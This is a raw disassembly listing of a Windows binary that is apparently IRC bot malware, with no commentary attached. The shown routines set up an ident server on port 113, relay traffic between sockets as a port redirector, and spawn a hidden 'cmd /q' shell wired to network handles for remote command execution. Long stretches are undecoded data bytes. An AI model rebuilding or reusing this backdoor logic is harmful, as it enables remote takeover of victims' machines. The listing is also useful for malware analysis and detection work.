1DEB5959h, 0FA20858Dh dd 5750FFFFh, 0FC28B5FFh, 858DFFFFh, 0FFFFFB24h, 0F62BE850h dd 0C483FFFFh, 28B5FF10h, 0FFFFFFFCh, 44421815h, 0C075FF00h dd 0FF8628E8h, 0FF5759FFh, 42B06815h db 0, 0CCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp-210h] push edi push eax mov [ebp-4], edi call sub_41E5F0 mov eax, [ebp+10h] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_412B60 push offset aS_9 ; "\\%s" jmp short loc_412B68 ; --------------------------------------------------------------------------- loc_412B60: ; CODE XREF: seg000:00412B57j mov byte ptr [eax], 5Ch push offset aS ; "%s" loc_412B68: ; CODE XREF: seg000:00412B5Ej lea eax, [ebp-10Ch] push eax call sub_41E6A6 lea eax, [ebp-10Ch] add esp, 0Ch push eax xor esi, esi xor ebx, ebx call sub_41E1C0 test eax, eax pop ecx jbe short loc_412C03 mov dword ptr [ebp+10h], 2 loc_412B93: ; CODE XREF: seg000:00412C01j lea eax, [ebp-10Ch] push eax call sub_41E1C0 cmp [ebp+10h], eax pop ecx jnb short loc_412BD3 cmp byte ptr [ebp+esi-10Ch], 25h jnz short loc_412BD3 cmp byte ptr [ebp+esi-10Bh], 32h jnz short loc_412BD3 cmp byte ptr [ebp+esi-10Ah], 30h jnz short loc_412BD3 inc esi inc esi add dword ptr [ebp+10h], 2 mov byte ptr [ebp+ebx-210h], 20h jmp short loc_412BED ; --------------------------------------------------------------------------- loc_412BD3: ; CODE XREF: seg000:00412BA3j ; seg000:00412BADj ... mov al, [ebp+esi-10Ch] cmp al, 2Fh jnz short loc_412BE3 push 5Ch pop eax jmp short loc_412BE6 ; --------------------------------------------------------------------------- loc_412BE3: ; CODE XREF: seg000:00412BDCj movsx eax, al loc_412BE6: ; CODE XREF: seg000:00412BE1j mov [ebp+ebx-210h], al loc_412BED: ; CODE XREF: seg000:00412BD1j lea eax, [ebp-10Ch] inc esi inc dword ptr [ebp+10h] push eax inc ebx call sub_41E1C0 cmp esi, eax pop ecx jb short loc_412B93 loc_412C03: ; CODE XREF: seg000:00412B8Aj lea eax, [ebp-210h] push eax push dword ptr [ebp+0Ch] lea eax, [ebp-314h] push offset aSS ; "%s%s" push eax call sub_41E6A6 lea eax, [ebp-314h] push offset asc_42CC64 ; "\n" push eax call sub_41E7B2 add esp, 18h lea eax, [ebp-314h] push eax call ds:dword_42B050 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_412C51 cmp eax, 0FFFFFFFFh jnz short loc_412C54 push dword ptr [ebp+8] jmp short loc_412CD0 ; --------------------------------------------------------------------------- loc_412C51: ; CODE XREF: seg000:00412C45j mov [ebp-4], esi loc_412C54: ; CODE XREF: seg000:00412C4Aj cmp byte ptr [ebp+ebx-211h], 5Ch jnz short loc_412C61 mov [ebp-4], esi loc_412C61: ; CODE XREF: seg000:00412C5Cj cmp [ebp-4], edi mov ebx, [ebp+8] mov [ebp-6C4h], ebx mov [ebp-318h], edi jz short loc_412CDB cmp [ebp+14h], edi jz short loc_412CCF lea eax, [ebp-314h] push offset asc_4348B8 ; "*" push eax call sub_41EED0 lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41E6A6 lea eax, [ebp-210h] push eax call sub_412873 lea eax, [ebp-210h] push eax lea eax, [ebp-53Ch] push eax call sub_41E6A6 add esp, 1Ch or dword ptr [ebp-330h], 0FFFFFFFFh mov [ebp-31Ch], esi jmp short loc_412D2A ; --------------------------------------------------------------------------- loc_412CCF: ; CODE XREF: seg000:00412C78j push ebx loc_412CD0: ; CODE XREF: seg000:00412C4Fj call ds:dword_444218 ; closesocket jmp loc_412DC0 ; --------------------------------------------------------------------------- loc_412CDB: ; CODE XREF: seg000:00412C73j push edi push edi push 3 push edi push esi push 80000000h lea eax, [ebp-314h] push eax call ds:dword_42B08C ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_412D2A lea eax, [ebp-314h] push eax lea eax, [ebp-640h] push eax call sub_41E6A6 pop ecx pop ecx push edi push esi mov [ebp-31Ch], edi call ds:dword_42B0BC ; GetFileSize push esi mov [ebp-330h], eax call ds:dword_42B004 ; CloseHandle loc_412D2A: ; CODE XREF: seg000:00412CCDj ; seg000:00412CF8j mov esi, [ebp+18h] push esi lea eax, [ebp-8C4h] push offset unk_434884 push eax call sub_41E6A6 push edi lea eax, [ebp-8C4h] push 3 push eax call sub_40AE85 mov [ebp-32Ch], eax imul eax, 234h add esp, 18h mov ds:dword_4444EC[eax], esi lea eax, [ebp-8] push eax push edi lea eax, [ebp-6C4h] push eax push offset word_4129C2 push edi push edi call ds:dword_42B03C ; CreateThread mov ecx, [ebp-32Ch] imul ecx, 234h cmp eax, edi mov ds:dword_4444FC[ecx], eax jnz short loc_412DCF push ebx call ds:dword_444218 ; closesocket call ds:dword_42B01C ; RtlGetLastWin32Error push eax lea eax, [ebp-8C4h] push offset unk_43484C push eax call sub_41E6A6 lea eax, [ebp-8C4h] push eax call sub_417D70 add esp, 10h loc_412DC0: ; CODE XREF: seg000:00412CD6j ; seg000:00412DD7j pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_412DC7: ; CODE XREF: seg000:00412DD5j push 5 call ds:dword_42B014 ; Sleep loc_412DCF: ; CODE XREF: seg000:00412D90j cmp [ebp-318h], edi jz short loc_412DC7 jmp short loc_412DC0 ; --------------------------------------------------------------------------- byte_412DD9 db 55h, 0B8h, 0F0h ; DATA XREF: sub_40274D+2073o ; seg000:0040BAFCo dd 8D000028h, 0E88C246Ch, 0BC38h, 537C458Bh, 0F08B5756h dd 0ECB9h, 84BD8D00h, 0F3FFFFF9h, 46F633A5h, 0B089106Ah dd 3ACh, 458DDB33h, 89505350h, 0D9E86475h, 830000B7h, 0B5FF0CC4h dd 0FFFFFD14h, 5045C766h, 15FF0002h, 444260h, 26A5653h dd 52458966h, 0FF545D89h, 44410015h, 83F88B00h, 7D89FFFFh dd 64840F6Ch, 8B000003h, 0FFFD1C85h, 34C069FFh, 89000002h dd 4444F4B8h, 8D106A00h, 57505045h, 41E415FFh, 0F8830044h dd 3C840FFFh, 68000003h, 7FFFFFFFh, 3015FF57h, 83004442h dd 840FFFF8h, 327h, 5064458Dh, 4667E68h, 15FF5780h, 444094h dd 0FFFF883h, 30E84h, 59416A00h, 858D5353h, 0FFFFFE38h dd 0BD895053h, 0FFFFFF50h, 0FF4CB589h, 7D89FFFFh, 40C78B68h dd 0FF4CB58Dh, 0BD8DFFFFh, 0FFFFFE38h, 0FFA5F350h, 4441B015h dd 0FFF88300h, 2CE840Fh, 0F6330000h, 8D7C7589h, 0FFFE3885h dd 0FF5650FFh, 44415C15h, 0FC08500h, 28E84h, 6C753B00h dd 458D6575h, 858D5060h, 0FFFFFF3Ch, 6C75FF50h, 106045C7h dd 0FF000000h, 4440BC15h, 0FFF88300h, 265840Fh, 958B0000h dd 0FFFFFF4Ch, 0D33BC933h, 84390E76h, 0FFFF508Dh, 410574FFh dd 0F272CA3Bh, 1275CA3Bh, 7340FA83h, 8D84890Dh, 0FFFFFF50h db 0FFh, 85h word_412F4E dw 0FF4Ch ; DATA XREF: seg001:off_4392ACo dd 453BFFFFh, 2C860F68h, 89000002h, 24E96845h, 0BF000002h dd 1000h, 84858D57h, 53FFFFD7h, 0B67AE850h, 8D570000h dd 0FFE78485h, 0E85053FFh, 0B66Ch, 5318C483h, 84858D57h dd 50FFFFD7h, 6415FF56h, 85004440h, 56517FC0h, 421815FFh dd 0C0330044h, 0FF4C9D39h, 860FFFFFh, 1D7h, 5085B439h dd 74FFFFFFh, 853B401Dh, 0FFFFFF4Ch, 0C0E9EE72h, 8B000001h dd 0FF54858Ch, 8C89FFFFh, 0FFFF5085h, 8D8B40FFh, 0FFFFFF4Ch dd 72C13B49h, 4C8DFFE6h, 0E9FFFFFFh, 19Bh, 10468h, 34858D00h dd 53FFFFFDh, 0B5F2E850h, 858D0000h, 0FFFFD784h, 705D8950h dd 0B1E8F633h, 830000B1h, 0C08510C4h, 16D860Fh, 458B0000h dd 5848A70h, 0FFFFD784h, 84880A3Ch, 0FFE78435h, 8B850FFFh dd 0BE000000h, 4348ECh, 0E784858Dh, 5056FFFFh, 0C04BE8h dd 59C08500h, 8D487459h, 0FFE78485h, 69E850FFh, 830000B1h dd 765905F8h, 0FCE0B836h, 50500042h, 0E784858Dh, 5056FFFFh dd 0C01FE8h, 50595900h, 0C017E8h, 50595900h, 0B731E8h dd 858D5000h, 0FFFFFD34h, 0BE32E850h, 0C4830000h, 8D17EB10h dd 0FFE78485h, 48E868FFh, 0E8500043h, 0B8ECh, 5959C085h dd 8D573374h, 0FFE78485h, 0E85053FFh, 0B538h, 830CC483h dd 45FFFFCEh, 84858D70h, 50FFFFD7h, 0B0F2E846h, 45390000h dd 820F5970h, 0FFFFFF42h, 0AAE9h, 4C8D8B00h, 33FFFFFFh dd 76CB3BC0h, 85948B33h, 0FFFFFF50h, 747C553Bh, 0C13B401Ch dd 20EBEF72h, 54858C8Bh, 89FFFFFFh, 0FF50858Ch, 8D8BFFFFh dd 0FFFFFF4Ch, 0C13B4940h, 8DFFE672h, 0FFFFFF4Ch, 0FC10858Dh dd 0E850FFFFh, 0B098h, 858DF08Bh, 0FFFFFD34h, 0B08AE850h dd 0F0030000h, 104FE81h, 59590000h, 458D3C73h, 7E685070h dd 0FF800466h, 5D897C75h, 9415FF70h, 0FF004440h, 0FFFD1CB5h dd 34858DFFh, 0FFFFFFFDh, 0FFFD28B5h, 858D50FFh, 0FFFFFC10h dd 7C75FF50h, 0FFF9B1E8h, 14C483FFh, 75FF09EBh, 1815FF7Ch dd 8B004442h, 3B467C75h, 75896875h, 4C860F7Ch, 6AFFFFFDh dd 53535941h, 0FE38858Dh, 5053FFFFh, 0E968458Bh, 0FFFFFD13h dd 0FF6C7D8Bh, 4441C415h, 858D5000h, 0FFFFF784h, 4348C068h dd 0DFE85000h, 830000B4h, 9D390CC4h, 0FFFFFD24h, 0FF532375h dd 0FFFD20B5h, 84858DFFh, 50FFFFF7h, 0F988858Dh, 0FF50FFFFh dd 0FFF984B5h, 0E049E8FFh, 0C483FFFEh, 84858D14h, 50FFFFF7h dd 4B6FE8h, 0FF575900h, 44421815h, 1CB5FF00h, 0E8FFFFFDh dd 0FFFF7F35h, 15FF5359h, 42B068h db 0CCh ; --------------------------------------------------------------------------- loc_41321D: ; DATA XREF: sub_40274D+406Co ; sub_40A263+42Co push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41E5F0 add esp, 0Ch push 71h mov word ptr [ebp-1Ch], 2 call ds:dword_444260 ; htons push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call ds:dword_444100 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_413390 mov eax, [ebp+8] imul eax, 234h mov ds:dword_4444F4[eax], ebx push edi lea eax, [ebp-1Ch] push eax push ebx call ds:dword_4441E4 ; bind cmp eax, 0FFFFFFFFh jz loc_413390 push 5 push ebx call ds:dword_444230 ; listen cmp eax, 0FFFFFFFFh jz loc_413390 lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx mov [ebp-0Ch], edi call ds:dword_4440BC ; accept cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_413390 mov edi, 200h loc_4132C3: ; CODE XREF: seg000:00413385j movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp-238h] push offset dword_434938 push eax call sub_41E6A6 lea eax, [ebp-238h] push eax call sub_417D70 add esp, 14h push esi push edi lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call ds:dword_444064 ; recv cmp eax, 0FFFFFFFFh jz short loc_413370 lea eax, [ebp-238h] push esi push eax call sub_41AC0E push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41E5F0 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AB83 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41E6FE add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_41E1C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_413370 mov dword ptr [ebp-8], 1 loc_413370: ; CODE XREF: seg000:00413307j ; seg000:00413367j lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call ds:dword_4440BC ; accept cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz loc_4132C3 cmp [ebp-8], esi jnz short loc_4133B7 loc_413390: ; CODE XREF: seg000:00413264j ; seg000:00413288j ... call ds:dword_4441C4 ; WSAGetLastError push eax lea eax, [ebp-238h] push offset dword_4348F4 push eax call sub_41E6A6 lea eax, [ebp-238h] push eax call sub_417D70 add esp, 10h loc_4133B7: ; CODE XREF: seg000:0041338Ej push ebx call ds:dword_444218 ; closesocket push dword ptr [ebp-4] call ds:dword_444218 ; closesocket push dword ptr [ebp+8] call sub_40B149 pop ecx push esi call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger loc_4133D8: ; DATA XREF: seg000:004135B5o push ebp mov ebp, esp mov eax, 1128h call sub_41EA20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov edi, 1000h push edi mov dword ptr [eax+124h], 1 xor ebx, ebx lea eax, [ebp-1128h] push ebx push eax call sub_41E5F0 mov esi, [ebp-14h] imul esi, 234h jmp short loc_41344A ; --------------------------------------------------------------------------- loc_413422: ; CODE XREF: seg000:00413464j push ebx push eax lea eax, [ebp-1128h] push eax push ds:dword_4444F4[esi] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_413466 push edi lea eax, [ebp-1128h] push ebx push eax call sub_41E5F0 loc_41344A: ; CODE XREF: seg000:00413420j add esp, 0Ch push ebx push edi lea eax, [ebp-1128h] push eax push ds:dword_4444F8[esi] call ds:dword_444064 ; recv cmp eax, ebx jg short loc_413422 loc_413466: ; CODE XREF: seg000:0041343Aj push ds:dword_4444F8[esi] call ds:dword_444218 ; closesocket push dword ptr [ebp-14h] call sub_40B149 pop ecx push ebx call ds:dword_42B068 ; ExitThread int 3 ; Trap to Debugger push ebp mov eax, 1344h lea ebp, [esp-74h] call sub_41EA20 mov eax, [ebp+7Ch] push ebx push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-0D0h] rep movsd mov edi, [ebp+44h] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+70h], edi call ds:dword_444100 ; socket mov esi, eax xor ebx, ebx cmp esi, 0FFFFFFFFh mov [ebp+7Ch], esi jz loc_4135E8 push 10h lea eax, [ebp+5Ch] push ebx push eax call sub_41E5F0 add esp, 0Ch push dword ptr [ebp+38h] mov word ptr [ebp+5Ch], 2 call ds:dword_444260 ; htons mov [ebp+5Eh], ax lea eax, [ebp-0C8h] push eax call ds:dword_44417C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+6Ch], eax jnz short loc_413515 lea eax, [ebp-0C8h] push eax call ds:dword_444168 ; gethostbyname jmp short loc_413523 ; --------------------------------------------------------------------------- loc_413515: ; CODE XREF: seg000:00413504j push 2 push 4 lea eax, [ebp+6Ch] push eax call ds:dword_4441FC ; gethostbyaddr loc_413523: ; CODE XREF: seg000:00413513j cmp eax, ebx jz loc_4135E8 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+60h], eax push 10h lea eax, [ebp+5Ch] push eax push esi call ds:dword_4440AC ; connect cmp eax, 0FFFFFFFFh jz loc_4135E8 push dword ptr [ebp+40h] movzx eax, word ptr [ebp+5Eh] push eax push dword ptr [ebp+60h] mov [ebp+54h], ebx call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp-2D0h] push offset unk_4349A8 push eax call sub_41E6A6 push esi lea eax, [ebp-2D0h] push 18h push eax call sub_40AE85 imul edi, 234h mov ecx, [ebp+40h] mov [ebp+44h], eax imul eax, 234h mov ds:dword_4444EC[eax], ecx add esp, 20h lea edi, dword_4444F4[edi] mov ecx, [edi] mov ds:dword_4444F8[eax], ecx lea eax, [ebp+58h] push eax push ebx lea eax, [ebp-0D0h] push eax push offset loc_4133D8 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+44h] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_41361E call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_434968 call sub_417DE4 pop ecx pop ecx loc_4135E8: ; CODE XREF: seg000:004134C9j ; seg000:00413525j ... mov eax, [ebp+70h] imul eax, 234h push ds:dword_4444F4[eax] call ds:dword_444218 ; closesocket push dword ptr [ebp+7Ch] call ds:dword_444218 ; closesocket push dword ptr [ebp+70h] call sub_40B149 pop ecx push ebx call ds:dword_42B068 ; ExitThread loc_413616: ; CODE XREF: seg000:00413621j push 32h call ds:dword_42B014 ; Sleep loc_41361E: ; CODE XREF: seg000:004135D3j cmp [ebp+54h], ebx jz short loc_413616 mov esi, 1000h jmp short loc_413641 ; --------------------------------------------------------------------------- loc_41362A: ; CODE XREF: seg000:00413665j push ebx push eax lea eax, [ebp-12D0h] push eax push dword ptr [ebp+7Ch] call ds:dword_4441A0 ; send cmp eax, 0FFFFFFFFh jz short loc_4135E8 loc_413641: ; CODE XREF: seg000:00413628j push esi lea eax, [ebp-12D0h] push ebx push eax call sub_41E5F0 add esp, 0Ch push ebx push esi lea eax, [ebp-12D0h] push eax push dword ptr [edi] call ds:dword_444064 ; recv cmp eax, ebx jg short loc_41362A jmp loc_4135E8 ; --------------------------------------------------------------------------- dword_41366C dd 246C8D55h, 50EC818Ch, 8B000003h, 57567C45h, 8B594A6Ah ; DATA XREF: sub_40274D+5E41o dd 8D106AF0h, 0FFFF24BDh, 5FA5F3FFh, 2080C757h, 1000001h dd 33000000h, 60458DF6h, 4DE85056h, 830000AFh, 75FF0CC4h dd 45C76630h, 0FF000260h, 44426015h, 6A066A00h, 66026A01h dd 89624589h, 7D896475h, 15FF70h, 83004441h, 4589FFF8h dd 2840F7Ch, 8B000001h, 0C969344Dh, 234h, 168016Ah, 56000004h dd 0F4818950h, 0FF004444h, 44419415h, 458D5700h, 75FF5060h dd 0E415FF7Ch, 85004441h, 0CE850FC0h, 6A000000h, 7C75FF0Ah dd 423015FFh, 0C0850044h, 0BB850Fh, 458D0000h, 458D5070h dd 75FF504Ch, 0BC15FF7Ch, 8B004440h, 0FFFF83F8h, 75FFE874h dd 45B70F34h, 75FF504Eh, 28BD8950h, 89FFFFFFh, 15FF4475h dd 444188h, 24858D50h, 68FFFFFDh, 434A28h, 0AF44E850h dd 8D570000h, 0FFFD2485h, 50186AFFh, 0FF7714E8h, 344D8BFFh dd 69384589h, 234C0h, 20C48300h, 44EC8889h, 458D0044h dd 8D56505Ch, 0FFFF2485h, 836850FFh, 56004134h, 3C15FF56h dd 8B0042B0h, 0C969384Dh, 234h, 8189C63Bh, 4444FCh, 15FF1D75h dd 42B01Ch, 49EC6850h, 21E80043h, 59000046h, 6A15EB59h dd 1415FF32h, 390042B0h, 0F3744475h, 0FFFF45E9h, 7C7D8BFFh dd 1815FF57h, 0FF004442h, 15FF7C75h, 444218h, 0E83475FFh dd 0FFFF7955h, 15FF5659h, 42B068h db 0CCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi mov esi, eax loc_413804: ; CODE XREF: seg000:00413827j push 0 push 1 lea eax, [ebp-1] push eax push dword ptr [ebp+8] call ds:dword_444064 ; recv cmp eax, 1 jnz short loc_41383A mov al, [ebp-1] mov [esi], al inc esi dec dword ptr [ebp+0Ch] jz short loc_41382F test al, al jnz short loc_413804 xor eax, eax inc eax loc_41382C: ; CODE XREF: seg000:0041383Cj pop esi leave retn ; --------------------------------------------------------------------------- loc_41382F: ; CODE XREF: seg000:00413823j push offset dword_434A70 call sub_417DE4 pop ecx loc_41383A: ; CODE XREF: seg000:00413818j xor eax, eax jmp short loc_41382C ; --------------------------------------------------------------------------- dw 0C033h dd 4244439h, 0C3C0940Fh, 246C8D55h, 0D4EC818Ch, 8B000003h dd 56537C45h, 59786A57h, 0BD8DF08Bh, 0FFFFFCA0h, 0B58BA5F3h dd 0FFFFFE6Ch, 697C7589h, 234F6h, 43DB3300h, 1DC9889h dd 868B0000h, 4444F4h, 0FE848589h, 0FF33FFFFh, 5068458Dh dd 858D5757h, 0FFFFFE80h, 45C75750h, 1E68h, 6C7D8900h dd 0FE809D89h, 15FFFFFFh, 4441B0h, 1A75C085h, 44F4B6FFh dd 15FF0044h, 444218h, 0E87C75FFh, 0FFFF7881h, 17BE959h dd 53570000h, 5038458Dh, 44F4B6FFh, 15FF0044h, 444064h dd 0B6FF106Ah, 4444F4h, 0E858458Dh, 0FFFFFF0Dh, 0B6FF106Ah dd 4444F4h, 0E828458Dh, 0FFFFFEFDh, 0B6FF406Ah, 4444F4h dd 0E884458Dh, 0FFFFFEEDh, 8D18C483h, 8D507045h, 0FF504845h dd 4444F4B6h, 7045C700h, 10h, 414815FFh, 0C0850044h, 15FF2174h dd 4441C4h, 4B686850h, 0A1E80043h, 0FF000044h, 0FEE87C75h dd 83FFFF77h, 0F6E90CC4h, 6A000000h, 8D046A02h, 0FF504C45h dd 4441FC15h, 75C73B00h, 4C75FF15h, 418815FFh, 8D500044h dd 0E850C445h, 0AD2Eh, 30FF0BEBh, 50C4458Dh, 0B53BE8h dd 57595900h, 0B6336853h, 0B6FF0042h, 4444F4h, 41A015FFh dd 3D390044h, 4D5268h, 458D4A75h, 858D5058h, 0FFFFFD24h dd 0AFDEE850h, 0C0850000h, 34745959h, 50C4458Dh, 5058458Dh dd 434A9C68h, 441AE800h, 0C4830000h, 136A570Ch, 434B5468h dd 0F4B6FF00h, 0FF004444h, 4441A015h, 0F4B6FF00h, 0E9004444h dd 0FFFFFECEh, 50C4458Dh, 5058458Dh, 434B2C68h, 43E6E800h dd 75FF0000h, 650E87Ch, 0C4830000h, 75C08510h, 1C15FF1Fh dd 500042B0h, 434B0068h, 43C6E800h, 75FF0000h, 7723E87Ch dd 0C483FFFFh, 1EEB530Ch, 50C4458Dh, 5058458Dh, 434AD468h dd 43A6E800h, 75FF0000h, 7703E87Ch, 0C483FFFFh, 15FF5710h dd 42B068h db 0CCh byte_413A51 db 55h, 8Dh, 6Ch ; DATA XREF: sub_40274D+219Eo dd 0EC818C24h, 5A8h, 537C458Bh, 786A5756h, 8DF08B59h, 0FFFE5CBDh dd 33A5F3FFh, 0B08946F6h, 1DCh, 0FACC858Dh, 6850FFFFh dd 202h, 411015FFh, 0FF330044h, 1C74C73Bh, 4CCC6850h, 49E80043h dd 0FF000043h, 0A6E82475h, 83FFFF76h, 0E9560CC4h, 221h dd 383E6856h, 15FF0041h, 42B0C8h, 2475C085h, 0B01C15FFh dd 68500042h, 434C88h, 4317E8h, 0FF595900h, 44422415h dd 2475FF00h, 0FF766CE8h, 0C6EB59FFh, 535B106Ah, 5750458Dh dd 0AB02E850h, 0C4830000h, 2075FF0Ch, 5045C766h, 15FF0002h dd 444260h, 6A56066Ah, 45896602h, 547D8952h, 410015FFh dd 0F8830044h, 7C4589FFh, 13F840Fh, 4D8B0000h, 34C96924h dd 89000002h, 4444F481h, 4D8D5300h, 0FF505150h, 4441E415h dd 0FC08500h, 11C85h, 0FFFF6800h, 75FF7FFFh, 3015FF7Ch dd 85004442h, 6850FC0h, 68000001h, 434C4Ch, 0C6045C7h dd 89000000h, 7D89647Dh, 4202E868h, 89590000h, 0C5E96C75h dd 0FF000000h, 458D6C75h, 86A506Ch, 0FFFF68h, 15FF5600h dd 444120h, 0FFFF883h, 0A784h, 2475FF00h, 4245B70Fh, 4475FF50h dd 0FF387D89h, 44418815h, 858D5000h, 0FFFFFC5Ch, 434C0868h dd 0EBE85000h, 8D0000AAh, 0FFFC5C85h, 0A9E850FFh, 56000041h dd 0FC5C858Dh, 96AFFFFh, 72AFE850h, 4D8BFFFFh, 28458924h dd 234C069h, 0C4830000h, 0EC888924h, 8D004444h, 57503C45h dd 0FE5C858Dh, 6850FFFFh, 413848h, 60458D57h, 3C15FF50h dd 8B0042B0h, 0C969284Dh, 234h, 8189C73Bh, 4444FCh, 15FF1D75h dd 42B01Ch, 4BCC6850h, 0B9E80043h, 59000041h, 6A31EB59h dd 1415FF32h, 390042B0h, 0F374387Dh, 5070458Dh, 5040458Dh dd 897C75FFh, 15FF705Dh, 4440BCh, 0FE83F08Bh, 1C850FFFh dd 0EBFFFFFFh, 7C758B03h, 41C415FFh, 8D500044h, 0FFFC5C85h dd 4B9468FFh, 0E8500043h, 0AA2Eh, 390CC483h, 2075347Dh dd 3075FF57h, 0FC5C858Dh, 8D50FFFFh, 0FFFE6085h, 0B5FF50FFh dd 0FFFFFE5Ch, 0FED59EE8h, 14C483FFh, 0FC5C858Dh, 0E850FFFFh dd 40C4h, 15FF5659h, 444218h, 0FF7C75FFh, 44421815h, 2415FF00h dd 0FF004442h, 7EE82475h, 59FFFF74h, 6815FF57h, 0CC0042B0h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CD4 proc near ; CODE XREF: sub_413F5A+98p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41E5F0 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41E5F0 mov eax, [ebp+arg_0] add esp, 18h push esi push 1 mov [ebp+var_20], eax push 2 lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, ds:dword_42B09C push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_42B098 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_42B008 ; CreateProcessA test eax, eax jz short loc_413D8C mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov ds:dword_4444F0[eax], ecx call ds:dword_42B004 ; CloseHandle jmp short loc_413DA2 ; --------------------------------------------------------------------------- loc_413D8C: ; CODE XREF: sub_413CD4+96j call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_434CF8 call sub_417DE4 mov esi, [ebp+var_4] pop ecx pop ecx loc_413DA2: ; CODE XREF: sub_413CD4+B6j pop edi mov eax, esi pop esi leave retn sub_413CD4 endp ; --------------------------------------------------------------------------- dword_413DA8 dd 246C8D55h, 0B0EC818Ch, 53000001h, 0B0801D8Bh, 57560042h ; DATA XREF: seg000:00414095o dd 0EB7C7D8Bh, 32C03349h, 39F633D2h, 27767C45h, 0AC354C8Ah dd 750AF980h, 0DFA800Eh, 84C60974h, 0FFFEC405h, 88400DFFh dd 0FEC4058Ch, 4640FFFFh, 8A7C753Bh, 6AD972D1h, 858D5000h dd 0FFFFFEC4h, 0C77FF50h, 41A015FFh, 0C0850044h, 6A177Eh dd 507C458Dh, 0C868h, 0AC458D00h, 0FF37FF50h, 75C085D3h dd 1C358BA0h, 0FF0042B0h, 6DF883D6h, 0D6FF0F74h, 4D386850h dd 0A9E80043h, 5900003Fh, 5B5E5F59h, 0C974C583h db 0C3h aUnlMb_1 db 'Ul$ŒìÜ',0 ; DATA XREF: seg000:004140CBo align 10h dd 0DB335653h, 7C7D8B57h, 5D89F633h, 0D5E964h, 5D390000h dd 0FF087664h, 0CBE9644Dh, 8A000000h, 0BE0F7F45h, 0FFF981C8h dd 0F000000h, 0A184h, 89083C00h, 5174685Dh, 4D747F3Ch dd 0A75033Ch, 15FF5353h, 42B0CCh, 153C66EBh, 0F6331E75h dd 206C45C6h, 586D45C6h, 586E45C6h, 586F45C6h, 0D7045C6h dd 0A7145C6h, 30EB066Ah, 4488C933h, 41469835h, 45880D3Ch dd 0C622756Ch, 0A983544h, 0A6D45C6h, 0EB026A46h, 76F33B13h dd 45C64E26h, 45C6086Ch, 45C6206Dh, 36A086Eh, 8D515359h dd 0FF506C45h, 15FF0C77h, 4441A0h, 527EC085h, 3C7F458Ah dd 5333750Dh, 5060458Dh, 98458D56h, 477FF50h, 0B08415FFh dd 0C0850042h, 0F6333474h, 5D3918EBh, 0C7097568h, 16845h dd 0AEB0000h, 0A6445C7h, 89000000h, 6A53685Dh, 7F458D01h dd 0C77FF50h, 406415FFh, 0C0850044h, 